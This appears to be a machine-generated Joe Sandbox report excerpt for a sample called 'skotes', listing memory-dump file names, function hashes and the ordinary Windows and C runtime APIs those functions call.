Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 107b41d04e63a242b11a16b27056e140129170406f008c25bf2e54268b30d236
Instruction ID: 0e226825fdefa41b1ac7216cc55a8a7299341501affec6fa522c4319b2d71990
Opcode Fuzzy Hash: 107b41d04e63a242b11a16b27056e140129170406f008c25bf2e54268b30d236
Instruction Fuzzy Hash: 8F111572A0420AAFCF05DF58E941A9A7BF9EF48304F054069F809EB251D630EE21DB65

Function 0092B04B Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00906CB7,?,?,0090D3FC,00906CB7,?,00907A8B,8B18EC84,04A409A8), ref: 0092B07D

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 93dbf74c8bf29792ea1012e151ee26907a7709f3ffe16cf12407dcdf2a98fb84
Instruction ID: 0da460685bc5f5c5f154ac4300618ec7cefc853ca6078e0c119229708d7dcb1c
Opcode Fuzzy Hash: 93dbf74c8bf29792ea1012e151ee26907a7709f3ffe16cf12407dcdf2a98fb84
Instruction Fuzzy Hash: 28E065365C623556D7323265BC05B6BA7CC9B827A0F151610ED64A619DDB10DC0091E1

Function 00931775 Relevance: 1.5, APIs: 1, Instructions: 16fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,00931B65,?,?,00000000,?,00931B65,00000000,0000000C), ref: 00931792

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 2ab655e99d74a18cb6ce3ef8a449b1faec26e98ce67380b161ce65889f8c919c
Instruction ID: 8579278f689cf4b52c42ee8bec5f1e49c44e277d43fe298274eaf2650ccb951b
Opcode Fuzzy Hash: 2ab655e99d74a18cb6ce3ef8a449b1faec26e98ce67380b161ce65889f8c919c
Instruction Fuzzy Hash: A6D0923205010DBBDF129EC4DD02EDE3BAAFB48714F014100BE5C66020C732E931AB94

Function 04AB0C2E Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3330225290.0000000004AB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4ab0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3cdf3d18de9002d9a5ce1397ed46180791f5be83d760f799ce0adfaeb065d71
Instruction ID: 5f193e7aea3c017fa9fe1f85d9977cf7fca00316fba4babac1543622b3cb1998
Opcode Fuzzy Hash: e3cdf3d18de9002d9a5ce1397ed46180791f5be83d760f799ce0adfaeb065d71
Instruction Fuzzy Hash: 22217D7620D200AF920389565A549FB7F7DEB83330330446AE4C7CF143F7A1654A55D1

Function 04AB0C73 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3330225290.0000000004AB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4ab0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fc06c3f54661bf0c8af78ce4c5a313cdc28b5de4129bfe593b9590acff0082a
Instruction ID: 9c85a74b00f993232a55d41465dae2569c9bc227594d19a92e5ebc7d02b0cce9
Opcode Fuzzy Hash: 9fc06c3f54661bf0c8af78ce4c5a313cdc28b5de4129bfe593b9590acff0082a
Instruction Fuzzy Hash: E60126BB34E104BE4107089686905F73EBFAA432703304526F8CB8A353F7E2655976E5

Function 04AB0C25 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3330225290.0000000004AB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4ab0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae2e97721dbfcbe7f622dcef1e7b4cabfb6f29552482b87ccbbe41c1bc3f6070
Instruction ID: 79202a6a8b9264b16c3755f8f0bc554d7b3738636418de541d267d59ac8db2f0
Opcode Fuzzy Hash: ae2e97721dbfcbe7f622dcef1e7b4cabfb6f29552482b87ccbbe41c1bc3f6070
Instruction Fuzzy Hash: 58F021BB20D110BE4143089A4B515F73E7FAA472303304226F4CB8A683F7D1655976E1

Function 04AB0C64 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3330225290.0000000004AB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4ab0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 000be00a2e55408bd11a3a8169813613b19da18bb47908c4fbfd61b84beeca62
Instruction ID: 7fd64073b0723581b52160d4d9cf23aeab13281ed13624f418c3ad30a96cdd31
Opcode Fuzzy Hash: 000be00a2e55408bd11a3a8169813613b19da18bb47908c4fbfd61b84beeca62
Instruction Fuzzy Hash: DAF0F67624D104BA410719A646105F67EBFAA472302304165B4CB8A643F7E2619976D1

Function 04AB0CB0 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3330225290.0000000004AB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4ab0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7798c1b0704f22f19fc9fc82c10b216827273055fb591811e9083a5c3a8d826e
Instruction ID: 307f169bb933d33e0592dff9940a26ea737c5f793586f02a9975f0ae61ad71d4
Opcode Fuzzy Hash: 7798c1b0704f22f19fc9fc82c10b216827273055fb591811e9083a5c3a8d826e
Instruction Fuzzy Hash: D3F0273A20C114AE83431A7945805FA3FBFAE4723073145A1E4C7CB543E7A5B11ABAD2

Function 04AB0C91 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3330225290.0000000004AB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4ab0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 393b9ada6cb89a12d76b1bb039785af7da2ddefd41f5722a997d44924b542c37
Instruction ID: a57c2fc4b747b5d24c2662fbeba1f4acd1dcd4d4d8b6ee21a6e665054d9680b9
Opcode Fuzzy Hash: 393b9ada6cb89a12d76b1bb039785af7da2ddefd41f5722a997d44924b542c37
Instruction Fuzzy Hash: A8F0E57A30C104BF83471A6945505FB7FBF6A4363073485A1B4CBCA543F7A5A11ABAE2

Function 04AB0CEB Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3330225290.0000000004AB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4ab0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a369f6615f24c15fcaee7f83e3906f0fe31a97895150b9a9aea692d569ebed9
Instruction ID: 080f369e7949694ba515fe69748994946ac40cb1985ee8a55add2d8bba6ec58d
Opcode Fuzzy Hash: 0a369f6615f24c15fcaee7f83e3906f0fe31a97895150b9a9aea692d569ebed9
Instruction Fuzzy Hash: 02E0C23214D3919FA3029A6189555B7BFAAAE0311432425EBA0C3D7283EA655A18DB71

Function 04AB0CD4 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3330225290.0000000004AB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4ab0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30ee23709f2c46ed4074734df40c2365f2f1eac41ea0d584140be632f46e54e1
Instruction ID: 5bf6c44ffc63909d5caec5f65966449e4ac443552ada2d566a410e5afc2775b3
Opcode Fuzzy Hash: 30ee23709f2c46ed4074734df40c2365f2f1eac41ea0d584140be632f46e54e1
Instruction Fuzzy Hash: DDD02E37218200A240060A4B01A12F727AAEA621183A4AAD2A0C3CA083E994712DABA1

Non-executed Functions

Function 00910E13 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00910F16
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00910F62

Part of subcall function 0091265D: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 00912750

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00910FCE
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00910FEA
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 0091103E
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 0091106B
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 009110C1

Strings

(, xrefs: 00910F22

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
